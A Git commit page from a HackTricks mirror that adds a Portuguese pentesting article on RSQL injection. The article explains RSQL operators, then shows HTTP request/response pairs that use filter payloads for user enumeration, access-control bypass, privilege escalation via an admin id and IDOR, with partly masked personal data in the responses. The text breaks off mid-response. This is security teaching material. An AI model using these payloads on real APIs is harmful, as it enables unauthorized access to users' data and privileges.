mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/rsql-injection.md'] to pt
This commit is contained in:
		
							parent
							
								
									07c27440ee
								
							
						
					
					
						commit
						d8291da7c5
					
				
							
								
								
									
										576
									
								
								src/pentesting-web/rsql-injection.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										576
									
								
								src/pentesting-web/rsql-injection.md
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,576 @@
 | 
			
		||||
# RSQL Injection
 | 
			
		||||
 | 
			
		||||
## RSQL Injection
 | 
			
		||||
 | 
			
		||||
{{#include ../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## RSQL Injection
 | 
			
		||||
 | 
			
		||||
## O que é RSQL?
 | 
			
		||||
RSQL é uma linguagem de consulta projetada para filtragem parametrizada de entradas em APIs RESTful. Baseada no FIQL (Feed Item Query Language), originalmente especificada por Mark Nottingham para consultar feeds Atom, o RSQL se destaca por sua simplicidade e capacidade de expressar consultas complexas de forma compacta e compatível com URI sobre HTTP. Isso o torna uma excelente escolha como uma linguagem de consulta geral para busca em endpoints REST.
 | 
			
		||||
 | 
			
		||||
## Visão Geral
 | 
			
		||||
A injeção de RSQL é uma vulnerabilidade em aplicações web que usam RSQL como linguagem de consulta em APIs RESTful. Semelhante à [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) e [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), essa vulnerabilidade ocorre quando os filtros RSQL não são devidamente sanitizados, permitindo que um atacante injetar consultas maliciosas para acessar, modificar ou excluir dados sem autorização.
 | 
			
		||||
 | 
			
		||||
## Como funciona?
 | 
			
		||||
O RSQL permite que você construa consultas avançadas em APIs RESTful, por exemplo:
 | 
			
		||||
```bash
 | 
			
		||||
/products?filter=price>100;category==electronics
 | 
			
		||||
```
 | 
			
		||||
Isso se traduz em uma consulta estruturada que filtra produtos com preço superior a 100 e categoria "eletrônicos".
 | 
			
		||||
 | 
			
		||||
Se a aplicação não validar corretamente a entrada do usuário, um atacante poderia manipular o filtro para executar consultas inesperadas, como:
 | 
			
		||||
```bash
 | 
			
		||||
/products?filter=id=in=(1,2,3);delete_all==true
 | 
			
		||||
```
 | 
			
		||||
Ou até mesmo aproveitar para extrair informações sensíveis com consultas Booleanas ou subconsultas aninhadas.
 | 
			
		||||
 | 
			
		||||
## Riscos
 | 
			
		||||
- **Exposição de dados sensíveis:** Um atacante pode recuperar informações que não deveriam ser acessíveis.
 | 
			
		||||
- **Modificação ou exclusão de dados:** Injeção de filtros que alteram registros do banco de dados.
 | 
			
		||||
- **Escalação de privilégios:** Manipulação de identificadores que concedem funções através de filtros para enganar a aplicação acessando com privilégios de outros usuários.
 | 
			
		||||
- **Evasão de controles de acesso:** Manipulação de filtros para acessar dados restritos.
 | 
			
		||||
- **Imitação ou IDOR:** Modificação de identificadores entre usuários através de filtros que permitem acesso a informações e recursos de outros usuários sem estar devidamente autenticado como tal.
 | 
			
		||||
 | 
			
		||||
## Operadores RSQL suportados
 | 
			
		||||
| Operador  | Descrição | Exemplo  |
 | 
			
		||||
|:----: |:----: |:------------------:|
 | 
			
		||||
| `;` / `and` | Operador lógico **E**. Filtra linhas onde *ambas* as condições são *verdadeiras* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
 | 
			
		||||
| `,` / `or` | Operador lógico **OU**. Filtra linhas onde *pelo menos uma* condição é *verdadeira*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
 | 
			
		||||
| `==` | Realiza uma consulta de **igualdade**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são exatamente iguais a *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
 | 
			
		||||
| `=q=` | Realiza uma consulta de **busca**. Retorna todas as linhas de *myTable* onde os valores em *columnA* contêm *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
 | 
			
		||||
| `=like=` | Realiza uma consulta de **semelhança**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são semelhantes a *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
 | 
			
		||||
| `=in=` | Realiza uma consulta de **inclusão**. Retorna todas as linhas de *myTable* onde *columnA* contém *valueA* OU *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
 | 
			
		||||
| `=out=` | Realiza uma consulta de **exclusão**. Retorna todas as linhas de *myTable* onde os valores em *columnA* não são nem *valueA* nem *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
 | 
			
		||||
| `!=` | Realiza uma consulta de *diferente de*. Retorna todas as linhas de *myTable* onde os valores em *columnA* não são iguais a *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
 | 
			
		||||
| `=notlike=` | Realiza uma consulta de **não semelhança**. Retorna todas as linhas de *myTable* onde os valores em *columnA* não são semelhantes a *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
 | 
			
		||||
| `<` & `=lt=` | Realiza uma consulta de **menor que**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são menores que *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
 | 
			
		||||
| `=le=` & `<=` | Realiza uma consulta de **menor que** ou **igual a**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são menores ou iguais a *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
 | 
			
		||||
| `>` & `=gt=` | Realiza uma consulta de **maior que**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são maiores que *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
 | 
			
		||||
| `>=` & `=ge=` | Realiza uma consulta de **igual a** ou **maior que**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são iguais ou maiores que *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
 | 
			
		||||
| `=rng=` | Realiza uma consulta de **de para**. Retorna todas as linhas de *myTable* onde os valores em *columnA* são iguais ou maiores que o *fromValue*, e menores ou iguais ao *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
 | 
			
		||||
 | 
			
		||||
**Nota**: Tabela baseada em informações de [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) e aplicações [**rsql-parser**](https://github.com/jirutka/rsql-parser).
 | 
			
		||||
 | 
			
		||||
#### Exemplos
 | 
			
		||||
- name=="Kill Bill";year=gt=2003
 | 
			
		||||
- name=="Kill Bill" and year>2003
 | 
			
		||||
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
 | 
			
		||||
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
 | 
			
		||||
- director.lastName==Nolan;year=ge=2000;year=lt=2010
 | 
			
		||||
- director.lastName==Nolan and year>=2000 and year<2010
 | 
			
		||||
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
 | 
			
		||||
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
 | 
			
		||||
 | 
			
		||||
**Nota**: Tabela baseada em informações da aplicação [**rsql-parser**](https://github.com/jirutka/rsql-parser).
 | 
			
		||||
 | 
			
		||||
## Filtros comuns
 | 
			
		||||
Esses filtros ajudam a refinar consultas em APIs:
 | 
			
		||||
 | 
			
		||||
| Filtro | Descrição | Exemplo |
 | 
			
		||||
|--------|------------|---------|
 | 
			
		||||
| `filter[users]` | Filtra resultados por usuários específicos | `/api/v2/myTable?filter[users]=123` |
 | 
			
		||||
| `filter[status]` | Filtra por status (ativo/inativo, concluído, etc.) | `/api/v2/orders?filter[status]=active` |
 | 
			
		||||
| `filter[date]` | Filtra resultados dentro de um intervalo de datas | `/api/v2/logs?filter[date]=gte:2024-01-01` |
 | 
			
		||||
| `filter[category]` | Filtra por categoria ou tipo de recurso | `/api/v2/products?filter[category]=electronics` |
 | 
			
		||||
| `filter[id]` | Filtra por um identificador único | `/api/v2/posts?filter[id]=42` |
 | 
			
		||||
 | 
			
		||||
## Parâmetros comuns
 | 
			
		||||
Esses parâmetros ajudam a otimizar as respostas da API:
 | 
			
		||||
 | 
			
		||||
| Parâmetro | Descrição | Exemplo |
 | 
			
		||||
|-----------|------------|---------|
 | 
			
		||||
| `include` | Inclui recursos relacionados na resposta | `/api/v2/orders?include=customer,items` |
 | 
			
		||||
| `sort` | Ordena resultados em ordem crescente ou decrescente | `/api/v2/users?sort=-created_at` |
 | 
			
		||||
| `page[size]` | Controla o número de resultados por página | `/api/v2/products?page[size]=10` |
 | 
			
		||||
| `page[number]` | Especifica o número da página | `/api/v2/products?page[number]=2` |
 | 
			
		||||
| `fields[resource]` | Define quais campos retornar na resposta | `/api/v2/users?fields[users]=id,name,email` |
 | 
			
		||||
| `search` | Realiza uma busca mais flexível | `/api/v2/posts?search=technology` |
 | 
			
		||||
 | 
			
		||||
## Vazamento de informações e enumeração de usuários
 | 
			
		||||
A seguinte solicitação mostra um endpoint de registro que requer o parâmetro de email para verificar se há algum usuário registrado com esse email e retornar verdadeiro ou falso dependendo de sua existência no banco de dados:
 | 
			
		||||
### Solicitação
 | 
			
		||||
```
 | 
			
		||||
GET /api/registrations HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 400
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:47:14 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
Content-Length: 85
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"errors": [{
 | 
			
		||||
"code": "BLANK",
 | 
			
		||||
"detail": "Missing required param: email",
 | 
			
		||||
"status": "400"
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Embora um `/api/registrations?email=<emailAccount>` seja esperado, é possível usar filtros RSQL para tentar enumerar e/ou extrair informações do usuário por meio do uso de operadores especiais:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Origin: https://locahost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://locahost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:09:38 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 38
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": {
 | 
			
		||||
"attributes": {
 | 
			
		||||
"tenants": []
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
No caso de corresponder a uma conta de email válida, a aplicação retornaria as informações do usuário em vez de um clássico *“true”*, *"1"* ou qualquer outra coisa na resposta ao servidor:
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:19:46 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 293
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": {
 | 
			
		||||
"id": "********************",
 | 
			
		||||
"type": "UserAccountDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"id": "********************",
 | 
			
		||||
"type": "UserAccountDTO",
 | 
			
		||||
"email": "manuel**********@domain.local",
 | 
			
		||||
"sub": "*********************",
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"tenants": [{
 | 
			
		||||
"id": "1"
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
## Evasão de autorização
 | 
			
		||||
Neste cenário, começamos com um usuário com um papel básico e no qual não temos permissões privilegiadas (por exemplo, administrador) para acessar a lista de todos os usuários registrados no banco de dados:
 | 
			
		||||
### Requisição
 | 
			
		||||
```
 | 
			
		||||
GET /api/users HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJhb.................
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 403
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:40:07 GMT
 | 
			
		||||
Content-Length: 0
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
```
 | 
			
		||||
Novamente, fazemos uso dos filtros e operadores especiais que nos permitirão uma maneira alternativa de obter as informações dos usuários e evadir o controle de acesso. Por exemplo, filtrar por aqueles *users* que contêm a letra “*a*” em seu *ID* de usuário:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJhb.................
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 14:43:28 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 1434192
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"id": "********A***********",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 3,
 | 
			
		||||
"translationKey": "************",
 | 
			
		||||
"email": "**********@domain.local",
 | 
			
		||||
"firstName": "rafael",
 | 
			
		||||
"surname": "************",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "*********",
 | 
			
		||||
"taxIdentifier": "********",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-08-09T10:57:41.237Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"id": "******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}, {
 | 
			
		||||
"id": "*A*******A*****A*******A******",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 3,
 | 
			
		||||
"translationKey": ""************",
 | 
			
		||||
"email": "juan*******@domain.local",
 | 
			
		||||
"firstName": "juan",
 | 
			
		||||
"surname": ""************",",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "************",
 | 
			
		||||
"taxIdentifier": "************",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-07-18T06:07:37.68Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"id": "*******************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
 | 
			
		||||
}
 | 
			
		||||
}, {
 | 
			
		||||
................
 | 
			
		||||
```
 | 
			
		||||
## Escalada de Privilégios
 | 
			
		||||
É muito provável encontrar certos endpoints que verificam os privilégios do usuário através de seu papel. Por exemplo, estamos lidando com um usuário que não possui privilégios:
 | 
			
		||||
### Requisição
 | 
			
		||||
```
 | 
			
		||||
GET /api/companyUsers?include=role HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJhb......
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:13:08 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 11
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": []
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Usando certos operadores, poderíamos enumerar usuários administradores:  
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJh.....
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:13:45 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 361
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"type": "CompanyUserGetResponseDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"companyId": "FA**************",
 | 
			
		||||
"companyTaxIdentifier": "B999*******",
 | 
			
		||||
"bizName": "company sl",
 | 
			
		||||
"email": "jose*******@domain.local",
 | 
			
		||||
"userRole": {
 | 
			
		||||
"userRoleId": 1,
 | 
			
		||||
"userRoleKey": "general.roles.admin"
 | 
			
		||||
},
 | 
			
		||||
"companyCountryTranslationKey": "*******",
 | 
			
		||||
"type": "CompanyUserGetResponseDTO"
 | 
			
		||||
}
 | 
			
		||||
}]
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Após conhecer um identificador de um usuário administrador, seria possível explorar uma escalada de privilégios substituindo ou adicionando o filtro correspondente com o identificador do administrador e obtendo os mesmos privilégios:
 | 
			
		||||
### Request
 | 
			
		||||
```
 | 
			
		||||
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJ.....
 | 
			
		||||
Origin: https:/localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https:/localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 18:53:00 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 68833
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"meta": {
 | 
			
		||||
"Functionalities": [{
 | 
			
		||||
"functionalityId": 1,
 | 
			
		||||
"permissionId": 1,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "general.userProfile",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
"functionalityId": 2,
 | 
			
		||||
"permissionId": 2,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "general.my_profile",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
"functionalityId": 3,
 | 
			
		||||
"permissionId": 3,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "layout.change_user_data",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
"functionalityId": 4,
 | 
			
		||||
"permissionId": 4,
 | 
			
		||||
"effectivePriority": "PERMIT",
 | 
			
		||||
"effectiveBehavior": "PERMIT",
 | 
			
		||||
"translationKey": "general.configuration",
 | 
			
		||||
"type": "FunctionalityPermissionDTO"
 | 
			
		||||
}, {
 | 
			
		||||
.......
 | 
			
		||||
```
 | 
			
		||||
## Impersonar ou Referências Diretas a Objetos Inseguras (IDOR)
 | 
			
		||||
Além do uso do parâmetro `filter`, é possível usar outros parâmetros como `include`, que permite incluir no resultado certos parâmetros (por exemplo, idioma, país, senha...).
 | 
			
		||||
 | 
			
		||||
No exemplo a seguir, as informações do nosso perfil de usuário são mostradas:
 | 
			
		||||
### Requisição
 | 
			
		||||
```
 | 
			
		||||
GET /api/users?include=language,country HTTP/1.1
 | 
			
		||||
Host: localhost:3000
 | 
			
		||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
 | 
			
		||||
Accept: application/vnd.api+json
 | 
			
		||||
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
 | 
			
		||||
Accept-Encoding: gzip, deflate, br, zstd
 | 
			
		||||
Content-Type: application/vnd.api+json
 | 
			
		||||
Authorization: Bearer eyJ......
 | 
			
		||||
Origin: https://localhost:3000
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Referer: https://localhost:3000/
 | 
			
		||||
Sec-Fetch-Dest: empty
 | 
			
		||||
Sec-Fetch-Mode: cors
 | 
			
		||||
Sec-Fetch-Site: same-site
 | 
			
		||||
```
 | 
			
		||||
### Resposta
 | 
			
		||||
```
 | 
			
		||||
HTTP/1.1 200
 | 
			
		||||
Date: Sat, 22 Mar 2025 19:47:27 GMT
 | 
			
		||||
Content-Type: application/vnd.api+json;charset=UTF-8
 | 
			
		||||
Content-Length: 540
 | 
			
		||||
Connection: keep-alive
 | 
			
		||||
Vary: Origin
 | 
			
		||||
Vary: Access-Control-Request-Method
 | 
			
		||||
Vary: Access-Control-Request-Headers
 | 
			
		||||
Access-Control-Allow-Origin: *
 | 
			
		||||
 | 
			
		||||
{
 | 
			
		||||
"data": [{
 | 
			
		||||
"id": "D5********************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO",
 | 
			
		||||
"attributes": {
 | 
			
		||||
"status": "ACTIVE",
 | 
			
		||||
"countryId": 63,
 | 
			
		||||
"timeZoneId": 3,
 | 
			
		||||
"translationKey": "**********",
 | 
			
		||||
"email": "domingo....@domain.local",
 | 
			
		||||
"firstName": "Domingo",
 | 
			
		||||
"surname": "**********",
 | 
			
		||||
"telephoneCountryCode": "**",
 | 
			
		||||
"mobilePhone": "******",
 | 
			
		||||
"languageId": 1,
 | 
			
		||||
"createdAt": "2024-03-11T07:24:57.627Z",
 | 
			
		||||
"termsOfUseAccepted": true,
 | 
			
		||||
"howMeetUs": "**************",
 | 
			
		||||
"id": "D5********************",
 | 
			
		||||
"type": "UserGetResponseCustomDTO"
